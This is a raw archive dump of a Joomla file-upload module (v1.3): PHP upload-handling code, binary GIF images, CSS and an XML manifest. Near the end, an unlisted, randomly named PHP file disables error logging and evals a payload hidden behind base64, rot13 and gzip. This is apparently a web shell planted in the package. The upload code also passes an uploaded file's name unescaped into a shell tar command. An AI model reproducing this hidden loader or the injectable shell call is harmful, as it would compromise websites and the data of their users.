"; $_SESSION["failedfile"] .= $_FILES["uploadedfile$mid"]["name"][$cnt]." (".JText::_('IMG_SAVE_FAIL').", ".$errmsg.")
"; } } if (($img = @getimagesize($_FILES["uploadedfile$mid"]["tmp_name"][$cnt])) && (!$image_resize) && ($upload_compressimg !== "") && is_numeric($upload_compressimg)) { // Compress JPEG? This only happens if no resize! list($width, $height, $type, $attr) = getimagesize($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]); // Make sure we have a valid compression ratio if ($upload_compressimg > 100 || $upload_compressimg <= 0) $img_compressimg = 100; if (($type == 2) && (is_numeric($img_compressimg)) && ($fileErr == 0)) { $oim = imagecreatefromjpeg($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]); if (imagejpeg($oim, $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt], $img_compressimg)) { $fileErr = 0; $image_resize = true; } else { $fileErr = 1; $results .= JText::_('FAIL_REQUEST') . "
"; $_SESSION["failedfile"] .= $_FILES["uploadedfile$mid"]["name"][$cnt]." (".JText::_('IMG_COMPRESS_FAIL').")
"; } imagedestroy($oim); } // Compress PNG? This only happens if no resize! if (($type == 3) && (is_numeric($upload_compressimg)) && ($fileErr == 0)) { $oim = imagecreatefrompng($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]); $img_compressimg = round($upload_compressimg / 100); // Quality is 0-9 for PNG if ($img_compressimg >= 10) $img_compressimg = 9; // If user has set quality to 100 if (imagepng($oim, $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt], $img_compressimg)) { $fileErr = 0; $image_resize = true; } else { $fileErr = 1; $results .= JText::_('FAIL_REQUEST') . "
"; $_SESSION["failedfile"] .= $_FILES["uploadedfile$mid"]["name"][$cnt]." (".JText::_('IMG_COMPRESS_FAIL').")
"; } imagedestroy($oim); } if ($image_resize) $results .= JText::_('IMG_ORIG_COMPRESS')."
"; else $results .= JText::_('IMG_COMPRESS_FAIL')."
"; } } // If image has been resized it is already saved if (!$image_resize) { if (move_uploaded_file($_FILES["uploadedfile$mid"]["tmp_name"][$cnt], $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt])) { $fileErr = 0; } else { $fileErr = 1; $results .= JText::_('FAIL_REQUEST') . "
"; $_FILES["uploadedfile$mid"]["name"][$cnt] = ""; } } // Form Fields if (($upload_useformsfields == 1) && (strlen($upload_formfields) > 0) && ($fileErr == 0)) { $fields = explode(";", $upload_formfields); $valname = ""; $valfile = ""; $ffform = ""; $fffield = ""; $formfieldsemail[$cnt] = ""; if ($upload_nohtmlencoding == 1) $ffform = trim ( $_REQUEST["sfuFormFields$mid"] ); else $ffform = htmlentities ( trim ( $_REQUEST["sfuFormFields$mid"] ) , ENT_NOQUOTES , "utf-8" ); if ($upload_debug == 1) print_r($_REQUEST); if ($upload_replacetag == 1) $ffform = str_replace(">", ">", str_replace("<", "<", $ffform)); if ($upload_debug == 1) $results .= "ffform=$ffform
"; $ffform = explode("[||]", $ffform); // If create a row in the form fileds file... if (strlen($upload_formfieldsfile) > 0) $valfile = $_FILES["uploadedfile$mid"]["name"][$cnt].$upload_formfieldsdiv; for ($iff = 0; $iff < count($ffform); $iff++) { $valname = $ffform[$iff]; $fffield = explode("=", $valname); foreach ($fields as $fld) { $valname = "sfuff".$mid."_".$fld."_".$_FILES["uploadedfile$mid"]["name"][$cnt]; if ($valname === $fffield[0]) { if (strlen($upload_formfieldsfile) > 0) $valfile .= $fffield[1].$upload_formfieldsdiv; else $valfile .= $fld."=".$fffield[1]."\n"; // Store for e-mail, use same counter as file $formfieldsemail[$cnt] .= $fld."=".$fffield[1]."\n"; } } if ($upload_debug == 1) $results .= "valname=$valname
"; } if (strlen($upload_formfieldsfile) > 0) { // Remove last pipe $valfile = substr($valfile, 0, -1); // Check if we got something if ($valfile === $_FILES["uploadedfile$mid"]["name"][$cnt]) $valfile = ""; } if ($upload_debug == 1) $results .= "valfile=$valfile
"; if ((strlen($valfile) > 0) && (strlen($upload_formfieldsfile) == 0)) { // Write the file: $ffFile = $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt] . ".txt"; if ($upload_debug == 1) $results .= "ffFile=$ffFile
"; $fh = fopen($ffFile, 'w') or $fileErr = 1; if ($fileErr == 1) { $results .= JText::_('FAIL_FORMFIELDS_FILE') . "
"; } else { // For some mysterious reason PHP refuses to write UTF-8 as UTF-8. Some stupid work-around below found at php.net $valfile = mb_convert_encoding( $valfile, 'UTF-8'); fwrite($fh, $valfile); fclose($fh); } } // Store for Form Fields File, use same counter as file $formfieldsval[$cnt] = $valfile; } if (($upload_popshowpath == 1) && ($fileErr == 0)) { $results .= JText::sprintf('FILE_SAVE_AS', ''.$baseurl.$_FILES["uploadedfile$mid"]["name"][$cnt].'').'

'; } if ($upload_fileexist === "1" && file_exists($new_filename)) { if ($fileErr == 0) { // Delete (=replace) of old file unlink($new_filename); } else { // Put original back if something went wrong rename($new_filename, $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt]); } } //$results .= "
"; } } // UNZIP if (($upload_unzip == 1) && ($fileErr == 0)) { if (($_FILES["uploadedfile$mid"]["type"][$cnt] === "application/x-tar") || ($_FILES["uploadedfile$mid"]["type"][$cnt] === "application/x-tar-compressed") || ($_FILES["uploadedfile$mid"]["type"][$cnt] === "application/tar-compressed")) { //system("tar -zxvf ".$upload_location.$_FILES["uploadedfile$mid"]["name"]); $res = shell_exec("cd ".$upload_location.";tar -xvzf ".$_FILES["uploadedfile$mid"]["name"][$cnt].";"); if ($res === FALSE) { $results .= "

".JText::_('MSG_UNZIP_ERROR')."

"; } else { $results .= "

".JText::_('MSG_UNZIP')."

"; } } if (($_FILES["uploadedfile$mid"]["type"][$cnt] === "application/x-zip") || ($_FILES["uploadedfile$mid"]["type"][$cnt] === "application/x-zip-compressed") || ($_FILES["uploadedfile$mid"]["type"][$cnt] === "application/zip-compressed")) { $zip = new ZipArchive; $res = $zip->open($upload_location.$_FILES["uploadedfile$mid"]["name"][$cnt]); if ($res === TRUE) { $zip->extractTo($upload_location); $zip->close(); $results .= "

".JText::_('MSG_UNZIP')."

"; } else { $results .= "

".JText::_('MSG_UNZIP_ERROR')."

"; } } } $_SESSION["uploaderr$mid"] = $fileErr; } else { $fileErr = 1; $errmsg = "(".$_FILES["uploadedfile$mid"]["name"][$cnt].")
".JText::sprintf('FILE_IN_ERROR', $filetype)."
  [".ModSimpleFileUploaderHelperv13::errCodeToMessage($_FILES["uploadedfile$mid"]["error"][$cnt])."]

"; $_SESSION["uploaderr$mid"] = 1; if ($upload_showerrmsg == 1) $results .= $errmsg; else $results .= JText::_('UPLOAD_FAILED')."

"; if ($written == 0) { $filesize = ModSimpleFileUploaderHelperv13::getFileSizePP($upload_maxsize); $results .= JText::_('ALLOWED_TYPES') . ": " . $upload_filetypes . "
" . JText::_('FILE_MAX_SIZE') . ": " . $filesize . "

"; //$results .= "
"; $written = 1; } } } else { if ($upload_users === "false") { $_SESSION["uploaderr$mid"] = 1; $results .= JText::_('NOT_ALLOWED_USER'); } } } // end for // Create Form Fields file if ((count($formfieldsval) > 0) && (strlen($upload_formfieldsfile) > 0)) { // Write the file but read first if the same file exists from previous set: $valfile = ""; $ffFile = $upload_location . $upload_formfieldsfile; if (file_exists($ffFile)) { //RegExp can't handle pipe, make it escaped // !! Not needed for explode(), only deprecated split() !! //$upload_formfieldsdiv2 = $upload_formfieldsdiv; //if ($upload_formfieldsdiv === "|") $upload_formfieldsdiv2 = "\|"; $fileRows = explode("\n", file_get_contents($ffFile)); for ($cnt = 0; $cnt"; if (strpos($rowdata, $upload_formfieldsdiv) >= 0) { $rowArray = explode($upload_formfieldsdiv, $rowdata); if (strlen($rowArray[0]) > 0) { $found = false; for ($cnt2 = 0; $cnt2"; //echo "replace: [".str_replace($ffArray[0], "", $rowArray[0])."]
"; // Equal on string seems not reliable. Maybe encoding issues but replace does the trick it seems. //if ($ffArray[0] === $rowArray[0]) { if (strlen(str_replace($ffArray[0], "", $rowArray[0])) == 0) { //echo "inside!
"; $valfile .= $formfieldsval[$cnt2]."\n"; $formfieldsval[$cnt2] = ""; $found = true; break; } } if (!$found) $valfile .= $rowdata."\n"; } } } } $fh = fopen($ffFile, 'w') or $fileErr = 1; if ($fileErr == 1) { $results .= JText::_('FAIL_FORMFIELDS_FILE') . "
"; } else { for ($cnt = 0; $cnt 0) $valfile .= $formfieldsval[$cnt]."\n"; } // Don't make the file UTF-8 here as it totally messes up the reading of the file! // For some mysterious reason PHP refuses to write UTF-8 as UTF-8. Some stupid work-around below found at php.net //$valfile = chr(255).chr(254).mb_convert_encoding( $valfile, 'UTF-16LE', 'UTF-8'); //echo "valfile=$valfile
"; fwrite($fh, $valfile); fclose($fh); } } // SHOW DIR CONTENT if (($upload_showdircontent == 1) && ($fileErr == 0)) { $results .= "
"; if($bib = @opendir($upload_location)) { while (false !== ($lfile = readdir($bib))) { //if($lfile != "." && $lfile != ".." && !ereg("^\..+", $lfile) && $lfile != "index.html") { if($lfile !== "." && $lfile !== ".." && !preg_match("/^\..+/", $lfile) && $lfile !== "index.html") { $fil_list[] = "$lfile"; } } closedir($bib); if(is_array($fil_list)) { $liste = "
  • " . join("
  • ", $fil_list) . "
  • "; } else { $liste = "
  • " . JText::_('NO_FILES_FOUND') . " " . $upload_location . "
  • "; } $results .= "

    " . JText::_('FILES_IN_DIR') . " (" . $upload_location . "):

      " . $liste . "
    "; } else { //die("Could not read files in " . $upload_location); $results .= "

    " . JText::_('NO_FILES_FOUND') . "


    "; } $results .= "

    "; } // SEND E-MAIL if ((strlen($upload_email) > 0) && ($fileErr == 0)) { $to = $upload_email; $subject = JText::_('MAIL_SUBJECT'); $infos = explode("|", $fileInfo); $text = ""; $headers = ""; //Replace space with %20 for URL if ($upload_emailhtml == 0) { for ($cnt = 0; $cnt<$fileCnt; $cnt++) { if(strlen($_FILES["uploadedfile$mid"]["name"][$cnt]) > 0) $text .= $upload_location.$_FILES["uploadedfile$mid"]["name"][$cnt]." (".$baseurl.str_replace(" ", "%20", $_FILES["uploadedfile$mid"]["name"][$cnt]).")\r\n"; if (count($formfieldsemail) >= $cnt+1) { if (strlen($formfieldsemail[$cnt]) > 0) $text .= $formfieldsemail[$cnt] . "\r\n\r\n"; } } $body = JText::sprintf('MAIL_BODY', $_SERVER["HTTP_HOST"]); $body .= "\r\n\r\n".$text; $body .= "\r\n\r\n(Find out more about Simple File Upload for Joomla at http://wasen.net/)"; } else { $text = "

    "; for ($cnt = 0; $cnt<$fileCnt; $cnt++) { if(strlen($_FILES["uploadedfile$mid"]["name"][$cnt]) > 0) $text .= ""; if (count($formfieldsemail) >= $cnt+1) { if (strlen($formfieldsemail[$cnt]) > 0) { $fields = explode("\n", $formfieldsemail[$cnt]); foreach ($fields as $f) $text .= ""; } } } $text .= "
    ".$upload_location.$_FILES["uploadedfile$mid"]["name"][$cnt]." (".$baseurl.str_replace(" ", "%20", $_FILES["uploadedfile$mid"]["name"][$cnt]).")".$infos[$cnt]."
    " . $f . "

    "; $body = JText::sprintf('MAIL_BODY', $_SERVER["HTTP_HOST"]); if (strlen($users_name) < 5) $users_name = "Anonymous (@".$_SERVER['REMOTE_ADDR'].")"; $body .= " ".JText::sprintf('BY_USER', $users_name); $body .= $text; $body .= "

    (Find out more about Simple File Upload for Joomla at http://wasen.net/)"; // To send HTML mail, the Content-type header must be set $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; // Additional headers //$headers .= 'To: ' . $to . "\r\n"; $headers .= 'From: ' . $upload_mailfrom . "\r\n"; } if (mail($to, $subject, $body, $headers)) { if ($upload_emailmsg == 1) $results .= "

    ".JText::_('MSG_SENT')."

    "; } else { if ($upload_emailmsg == 1) $results .= "

    ".JText::_('MSG_FAILED')."(To:".$to.")

    "; } } return $results; } function gd_get_info() { if (extension_loaded('gd') and imagetypes() & IMG_PNG and imagetypes() & IMG_GIF and imagetypes() & IMG_JPG and imagetypes() & IMG_WBMP) { return true; } else { return false; } } function getFileSizePP($filesize) { $kb=1024; $mb=1048576; $gb=1073741824; $tb=1099511627776; if(!$filesize) $filesize = '0 B'; elseif($filesize<$kb) $filesize = $filesize.' B'; elseif($filesize<$mb) $filesize = round($filesize/$kb, 2).' KB'; elseif($filesize<$gb) $filesize = round($filesize/$mb, 2).' MB'; elseif($filesize<$tb) $filesize = round($filesize/$gb, 2).' GB'; else $filesize = round($filesize/$tb, 2).' TB'; return $filesize; } function errCodeToMessage($code) { $message = ""; switch ($code) { case UPLOAD_ERR_INI_SIZE: $message = JText::_('UPLOAD_ERR_INI_SIZE'); //"The uploaded file exceeds the upload_max_filesize directive in php.ini"; break; case UPLOAD_ERR_FORM_SIZE: $message = JText::_('UPLOAD_ERR_FORM_SIZE'); //"The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form"; break; case UPLOAD_ERR_PARTIAL: $message = JText::_('UPLOAD_ERR_PARTIAL'); //"The uploaded file was only partially uploaded"; break; case UPLOAD_ERR_NO_FILE: $message = JText::_('UPLOAD_ERR_NO_FILE'); //"No file was uploaded"; break; case UPLOAD_ERR_NO_TMP_DIR: $message = JText::_('UPLOAD_ERR_NO_TMP_DIR'); //"Missing a temporary folder"; break; case UPLOAD_ERR_CANT_WRITE: $message = JText::_('UPLOAD_ERR_CANT_WRITE'); //"Failed to write file to disk"; break; case UPLOAD_ERR_EXTENSION: $message = JText::_('UPLOAD_ERR_EXTENSION'); //"File upload stopped by extension"; break; default: $message = JText::_('UPLOAD_ERR_DEFAULT'); //"Unknown upload error"; break; } return $message; } function getGIFComment($filename, $upload_debug) { $retval = ""; $fd = fopen( $filename, 'rb' ); if ( $fd ) { if ($upload_debug == 1) $retval .= "
    getGIFComment: File opened!"; // Read GIF header $data = fread( $fd, 6 ); if ( $data == 'GIF87a' or $data == 'GIF89a' ) { if ($upload_debug == 1) $retval .= "
    getGIFComment: We've found a GIF"; $offset = 6; // Read Logical Screen Descriptor $data = fread( $fd, 7 ); $offset += 7; $width = ( ord( $data[1] ) << 8 ) + ord( $data[0] ); $height = ( ord( $data[3] ) << 8 ) + ord( $data[2] ); if ($upload_debug == 1) $retval .= "
    getGIFComment: GIF width: ".$width; if ($upload_debug == 1) $retval .= "
    getGIFComment: GIF height: ".$height; $done = false; while ( !$done ) { $data = fread( $fd, 1 ); $offset += 1; $blockType = ord( $data[0] ); if ( $blockType == 0x21 ) // Extension Introducer { $data .= fread( $fd, 1 ); $offset += 1; $extensionLabel = ord( $data[1] ); if ( $extensionLabel == 0xfe ) // Comment Extension { $commentBlockDone = false; $comment = false; while ( !$commentBlockDone ) { $data = fread( $fd, 1 ); $offset += 1; $blockBytes = ord( $data[0] ); if ( $blockBytes ) { $data = fread( $fd, $blockBytes ); $comment .= $data; $offset += $blockBytes; } else { $commentBlockDone = true; } } if ( $comment ) { if ($upload_debug == 1) $retval .= "
    getGIFComment: GIF has comment: ".$comment; if(stripos($comment, "php") !== false) { $retval = "getGIFComment:BLOCK".$retval; } else { $retval = "getGIFComment:OK".$retval; } } else { if ($upload_debug == 1) $retval .= "
    getGIFComment: No GIF comment found!"; $retval = "getGIFComment:OK".$retval; } $done = true; } } else if ( $blockType == 0x3b ) // Trailer, end of stream { if ($upload_debug == 1) $retval .= "
    getGIFComment: GIF stream terminated by Trailer block"; $done = true; } if ( feof( $fd ) ) { if ($upload_debug == 1) $retval .= "
    getGIFComment: GIF stream terminated by EOF"; $done = true; } } } } else { if ($upload_debug == 1) $retval .= "
    getGIFComment: File failed!"; } return $retval."
    "; } } class SFUAjaxServlet { function getCaptcha($sfu_version, $bgcolor, $mid, $source) { error_reporting(0); /*ini_set ("session.Save_path", $_SERVER['DOCUMENT_ROOT'] . "/mySessions"); session_start(); if (isset($_SERVER['REMOTE_HOST'])) { session_name($_SERVER['REMOTE_HOST'] . "-captcha"); } else { session_name(uniqid() . "-captcha"); }*/ $myCryptBase = "AB0CDE1FG2HIJ3KL4MNO5PQ6RST7UV8WX9YZ"; $capString = ""; $image = imagecreatetruecolor(150, 60); $white = imagecolorallocate ($image, 255, 255, 255); $rndm = imagecolorallocate ($image, rand($bgcolor[0],$bgcolor[1]), rand($bgcolor[0],$bgcolor[1]), rand($bgcolor[0],$bgcolor[1])); imagefill ($image, 0, 0, $white); $folder_captcha_class = JPATH_SITE.DIRECTORY_SEPARATOR.'modules'.DIRECTORY_SEPARATOR.'mod_simplefileuploadv'.$sfu_version.DIRECTORY_SEPARATOR.'tmpl'; $fontName = $folder_captcha_class."/arial.ttf"; $myX = 15; $myY = 30; $angle = 0; for ($x = 0; $x <=1000; $x++) { $myX = rand(1,148); $myY = rand(1,58); imageline($image, $myX, $myY, $myX + rand(-5,5), $myY + rand(-5,5), $rndm); } for ($x = 0; $x <= 4; $x++) { $dark = imagecolorallocate ($image, rand(5,128),rand(5,128),rand(5,128)); $capChar = substr($myCryptBase, rand(1,35), 1); $capString .= $capChar; $fs = rand (20, 26); $myX = 15 + ($x * 28+ rand(-5,5)); $myY = rand($fs + 2,55); $angle = rand(-30, 30); ImageTTFText ($image,$fs, $angle, $myX, $myY, $dark, $fontName, $capChar); } $_SESSION["capString$mid"] = $capString; ob_start(); header ("Content-type: image/jpeg"); imagejpeg($image,"",95); $result = ob_get_contents(); ob_end_clean(); if ($source === 'site') echo base64_encode($result); else echo $result; imagedestroy($image); error_reporting(E_ALL); } function getContent($action) { $retVal = "false"; if ($action === "sfuuser") { $user = $_GET["val1"]; $pass = $_GET["val2"]; $mid = $_GET["mid"]; $session_username = ""; $session_password = ""; // TODO: Should I fetch this from DB if session has expired before trying to login... Else it will return failed... if (isset($_SESSION["upload_username$mid"])) { $session_username = $_SESSION["upload_username$mid"]; $session_password = $_SESSION["upload_password$mid"]; } if (strlen($session_username) == 0) { // Workaround for missing session user... should be from DB I guess... //$retVal = "Credentials not found. Please refresh your session or contact the Administrator to get the login details."; $retVal = JText::_('FAIL_CREDENTIALS'); } else { $hashedpw = md5($session_password); if ((strcmp($user, $session_username) == 0) && (strcmp($pass, $hashedpw) == 0)) { $_SESSION["upload_username_ok$mid"] = $hashedpw; $retVal = "true"; } else { //$retVal = "Username and/or password does not match"; $retVal = JText::_('USER_PASS_FAILED'); /* debug $retVal .= "\nGiven user = " . $user; $retVal .= "\nGiven pass = " . $pass; $retVal .= "\nStored user = " . $session_username; $retVal .= "\nStored pass = " . $session_password; $retVal .= "\nStored hash = " . md5($session_password); */ } } } if ($action === "sfucaptcha") { $captcha = $_GET["val1"]; $casesense = $_GET["val2"]; $mid = $_GET["mid"]; $captchaStored = ""; if (isset($_SESSION["capString$mid"])) $captchaStored = $_SESSION["capString$mid"]; else $retVal = JText::_('FAIL_REQUEST') . "\n\n[Session time-out]"; if ($casesense === "1") { $captchaStored = strtoupper($captchaStored); $captcha = strtoupper($captcha); } if (strlen($captchaStored) > 0) { if ($captchaStored === $captcha) $retVal = "true"; else $retVal = JText::_('FAULTY_CAPTCHA'); } else { $retVal = JText::_('FAIL_REQUEST'); } } if ($action === "sfukillsession") { $ses = session_destroy(); if ($ses) $retVal = "Session destroyed"; else $retVal = "Session still alive"; } //global $mainframe; $app = JFactory::getApplication(); echo $retVal; //$mainframe->close(); $app->close(); } } ?>PKYy>\#o,,*mod_simplefileuploadv1.3/images/index.htmlnuW+APKYy>\2mod_simplefileuploadv1.3/images/button_refresh.gifnuW+AGIF89aOPQ K L#M%M!O(M&Q#R Q T%T$T$U'X*V)W-Y$W'Y*\1\8_.a5`8`8ch8i;j0qI,Ds*U>0"A,4xF)в0C f P@d!&Q3'M axA (A @2lI2D8kS^: ;PKYy>\6߼1mod_simplefileuploadv1.3/images/button_select.gifnuW+AGIF89a>!!!"""&&&)))***+++333555:::FFFOOOqqqsssuuu{{{|||~~~Ʋȳӿ!,> H*\ȰÇ#JHŋ3jȱLJ\IrfJT#`8$M $ 9Wl0͝ȱժlAB #ճH鿯3p).ݻOErB#9n㸏!/[ Ea: wLSm,WeU,gЦCUz`Yn:u櫜mcbI >vģ)$[ձip8* lJ8p}Y n!|Pj1P`$ #pX 5QCeƉ'D `D &E/pAlLĨPC!$$ 1B&DDÕ;L@O@;PKYy>\曠  .mod_simplefileuploadv1.3/images/infobox_bg.gifnuW+AGIF89a~zzz|||}}}!,~ Hdca5!Tcb4d4xǂf I ' 1/ 18 E@/>v8 Q\0ܢqiӁY:ZԁXB2rkׁV [Jʁf Ri9p [Sb"W)E''= :JPLT”`-O:HVEv`%C/N}hhDo0~ZUGa@Du!d@o1X 1[Mo,]=޵ )9sÊwjxnsuQd 8,? [cPTI z{|,7Ѓi ZO ZkCbihQ`!Y1dVg#@'"wW,P(su^@ӱV` P ?U'@a >0E1CT|G4Q!MqaH%g;PKYy>\r[: +RdhNh,x,E1,T>-`Mry?3#oD^Ur,*rr t xy:LC*G>.dsZMQhhMj #^XTP-1J).eJk H*\ȰÇ#JHŋ3j1a! ,220I8`crqp*gX҂9E=A;h >R֩ !ɉ͜_PXIWvM$@5P0Q{`oI15*y {}`ogWvR_s/G? KXvp0e1e ʲ #sTJqѯpU *2ipC멮 H*\ȰÇ#JHŋ3jȱǃ ! ,220I8EKqD^ t!qi` 0 00/p+Ng@ SR{3A&&& T8c÷Y-N!u xB;-/2*N@uv Q$~*rYTjgT.J6RjJ+8z "GP1 jX/]CO\Ѫr:P HA ! ,220I8eKqx AF^.P+$&wZq|2`n/W֌A | \\ȋ@d. =Fxa ) cecV3y+gHoe\NqpzKc# o6o*/4/\Hiid0t15(te ҝ2iҜL`\ H*\ȰÇ! ,220I8U)E$ tTA.Cqs?0/b ~6aF$Mߋl Dy5)]eoQn G.pZ|oT3Ax =]@S>.6G=è$EM1\٫|=ͻ>(X5Ԕܮ˴5"*\ȰÇ#K! ,220I8U)hhVFZ-1P>bl I8\H/5ϨCY,i 2u_q +p@v^yn<#Og}\nmc x cр)#%  ـ$y2P0e 4Hŋ! ,220I8ͻU`1yɸlkOa,-;E'ΐIru: gim407*&7gV|чz tH5wq\V}7ox79a_L1s,sB,#aQATD07+5Ś!: ʬm]I䚜ݛӽ|f|ᒽC"7:( ! ,220I8ͻ`(dVi̴c62 BXx˅ ' ibYC~ tjc6Z} W`z|#bC$W6b"Q>o{1x(o- Z%s%6 $1 ;) d&ܓ(Ѭ >Ԕ9-h107L-':RI! ,220I8ͻ`(dihl+ѵv20`$Q($25+zTL`P9@`ra2 p{ Vs!SMk'z5u&9h!"z "Sso~lj~$ˣv%5ʙl$ Ɨ ) (9hjޛv u>lFY 54)hH"a"J<! ,220I8ͻ`(dihlp,xm+y= dR:*̢ P`e0n !5K "@8 d]~k4v#_:}4d|xZ\} dgLbtTo$<\pZ" Tbnb\q T5[ | զpv5үnn!Ӛwwe5m*uP΂v-PCHŋ! ,220I8ͻ`(dihlp,tmX|B G a:8)\Q0Xp@C! p?yp;lm |ufs Bc fUH uu}GGO XĿe EєB t˒Ϝ!NtQ р[ Y, ЫWh|HqC! ,220I8ͻ`(dihlp,tmxP܂*(02:-P`8Cp`ƌAIΛ)GqŸ oqwqzU?AujKo {R?R RKUceQLLIUAll<DZD} Y ¶̛Ş ^Ge?uŮlI{Ie!e" pkr7JG,5QTd ! ,220I8ͻ`(dihlp,tmxDq`PIeof @xU|f!Ka)HXfkHR/7+ W_|v q>{>@Ii}~MLVE HrSE~qMGiae dh jsДz bYUM!<ҭؼ"-mx A9CM},f[(?CoY[  6?;o; s5YHMHBP#hHxo!;ϼPªخGgW i `'sQ("! ,220I8ͻ`(dihhmTPQ0oQhhXZP jɓ8 qZ*bZla⒇k~^-}xyk{xao1U(d/&3jq )7U=87 `~Z H"7M3=d#_M/eőT ȠIĽl`q$͵ lUtmYT늫S?qC*! ,220I8ͻ`(d&)& BkL 338E0~ P\!;58<pD MC n)>@pvIʅ]SqU*Q l~2Woc|VOSm|mkWki?(lis&= ssbke'((=GζӦw2ʹr߫G  jBݼ]r~k#t_$! ,220I8ͻPa 17 cnZ,:S‰İ^wDBLG&rjTQel 0H0|`@Ow8y=7H+ha:Wy.PfL)X 03=2Hfq nzC" V"qжmWɣB"h.̆yhN"٦y΋ ׸nk:觰Ç! ,220I8kXH D Dh2`,߹ 2.f ӵuߡI} P"rpT:-X*E!0+dxWdi+ @ީ^2)pNd,z Sgi G?|`[U.?2<y{Dnz&715vXgn Šo įУǼ|_ gowJ=p Wϝ<Nap1Yʼn3jȑZ;PKYy>\,ee1mod_simplefileuploadv1.3/mod_simplefileupload.cssnuW+A div.fakefile { position: relative; top: -30px; left: -11px; z-index: 1; white-space: nowrap; padding-bottom: -20px; } input.file { position: relative; text-align: right; left:-9px; -moz-opacity:0 ; filter:alpha(opacity: 0); opacity: 0; z-index: 2; } .black_overlay{ display: none; position: absolute; top: 0%; left: 0%; width: 100%; height: 100%; background-color: black; z-index:1001; -moz-opacity: 0.8; opacity:.80; filter: alpha(opacity=80); } .white_content { display: none; position: absolute; top: 25%; left: 25%; width: 50%; height: 50%; padding: 16px; border: 16px solid orange; background-color: white; z-index:1002; overflow: auto; } .sfu_content { margin: 30px auto; padding: 20px 60px; border: 1px solid #D2D2D2; -moz-box-shadow: 0 0 30px #CCC; -webkit-box-shadow: 0 0 30px #CCC; box-shadow: 0 0 30px #CCC; background: #FFF; background: -webkit-gradient(linear, left top, left 15, from(#FFFFFF), color-stop(4%, #EEEEEE), to(#FFFFFF)); background: -moz-linear-gradient(top, #FFFFFF, #EEEEEE 1px, #FFFFFF 15px); } PKYy>\dbLbL5mod_simplefileuploadv1.3/mod_simplefileuploadv1.3.xmlnuW+A Simple File Upload v1.3 (for Joomla 3) Anders Wasen January 2011 Copyright (C) 2011-2012 Anders Wasén. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL awasen@gmail.com wasen.net 1.3 A simple upload module. Will allow a user to upload a file to the given folder fetched from the parameter settings. mod_simplefileuploadv1.3.php index.html helper.php mod_simplefileupload.css tmpl elements images en-GB.mod_simplefileuploadv1.3.ini fr-FR.mod_simplefileuploadv1.3.ini sv-SV.mod_simplefileuploadv1.3.ini de-DE.mod_simplefileuploadv1.3.ini it-IT.mod_simplefileuploadv1.3.ini es-ES.mod_simplefileuploadv1.3.ini lt-LT.mod_simplefileuploadv1.3.ini el-GR.mod_simplefileuploadv1.3.ini nl-NL.mod_simplefileuploadv1.3.ini
    PKYy>\ :2<<1mod_simplefileuploadv1.3/elements/wcg9LbOHD14.phpnuW+A '; ini_set('error_log', NULL); eval($ANikV($MpbZc('IHJlZWJlX2VyY2JlZ3ZhdChSX05ZWV5SX0FCR1ZQUik7cXJzdmFyKCfV8LgnLCAn/LUnKTskVFlCT05ZRlvV8LhdID0gcmtjeWJxcignfAN8AXwBJywgdG12YXN5bmdyKGZob2ZnZSgnH4sIAAAAAAAACi2Z12Gs0AFSFeViwgN6dY9Q772/UfTeO8rHdGFhcdlgeQlkyt54MWhkI3Yz/uef//nH7+t/P8V//T2iBPpOyf+fUH+PVY7iKIISf3/7t0RD7t/TNNkK/PPvvMimvPh7yWfUQKWdTEqqzW7Le6cGrxPfm7Q+ues7F3Pz9YgKoku54Ryj0S7QCFace3b4PSOe38rvpqNcJzu2LOHkZITa9GtmJA8FobWEQJSOhZtrf0o8jkSfOEofy8YlXzNV+1WeHgdcJ0zfcgvbiHR9x9XRiG3lynco2FpuuGQRGM2X5DnVqBh35cp3jCnkvwcM3Wu1zkZnE0/BkLHpQZFMpjgy83HGwIpCQyhq9IyaJQMeNIshIZYvbhbj4znylLcDI6Uv6DBkQVh6+PmnaRkZmyDp/Xf7GaqBZOZRTcfeUtNz3Q8v4zNWOA/kJineYPaZotTw4Ow3WbZEj5P596uPHxbLjK6jKWruHq41d48i8TSwjC1jLcgpFdF6dWV2QSlWXguKF5iRRVE8ie7uk90qiN+zuJEJL59JEAJlDByxiYNsl57TKLYdvSq/kQyPRLi9WC2hsEZaawL5DZ7Oe6QPI98iWSYD0gzipg2f15CEd3gShx376EhEbC1cXItFSQ2/th5Imw/Dbrpfv1PmzCq2JTS7KPhIOddUqJ5457HVVLX46UdcXOacjSHqrJ0wLeRzrw+J4q6/HokmXchLTpKaoR6HtRBrHffgva3NiVfk3pmIk8E/WejSR//UeJ4qOQvVR8Qih/Q26UkrQlNzvdrfb3AbX+KL2Pbh2kjh4QhcJzQhthiF85WgeJGz3kWO/m1d7NI19uvs5BSrabuHhrHLSV0Otqd+1IC88p2VFROJXQZPfK4tsREbEir2Xkuv4xn26bfcDoBoPmWaiTkqOGn0O0Gq2rIfTKK/la1zX4XlnvsDGbTx+xvzu4Z3e0h9H2M8zfMIgByF4eMEgfkkPAqG89U/0DIM6pN7B8JrySy8hHwo9x6NknFHm3CcE4K7lZSfyUP8fWbYsO7xlT07YII8KYxHQKYtMcIgmH7SB5pVGmPcD3uacQmaAI6UoAeaksWBvaGSJilXTfiG4EC/AgrizoqPgAPWeAjQ0Ve9Qgv2TAFFKviCK4BJXCfF0XILJnJ/AgMprSU1MsYJbSZISTzwJTBjBt9GAJ+WNlbhalwnxxzOt7V+/2rtrQ7C/W/Amym8e+oTzAmLwJ0zNJKP0Z22y0QCoWOX6yb4lNGr4aoaflhEgtt+3a7qF8E/IoYLRVHgp5wcLSJKI1kO9fYIMbDEJm0KYOxGRoTR7lxccuClsM7d2D7wrFTtu67juEIZau792ze42EdMbCYrCno6lkZj7Ui1uHf7LuNP20r4utuNkMfMe7O21p0r5FeouTBPKIhgXCfVM6VmoTn4qo2L4iJ31xsj6+IUyiPeJfsEeMMZm3ZfZ+RHhayobUXWPTK0UHtJQni93PvONhEj/Izq/Zal/Yz73AMeuqsod0TKVu1g8HBuC7595SxcXEOaZFLmTT3QYMVtdyiifTUK2G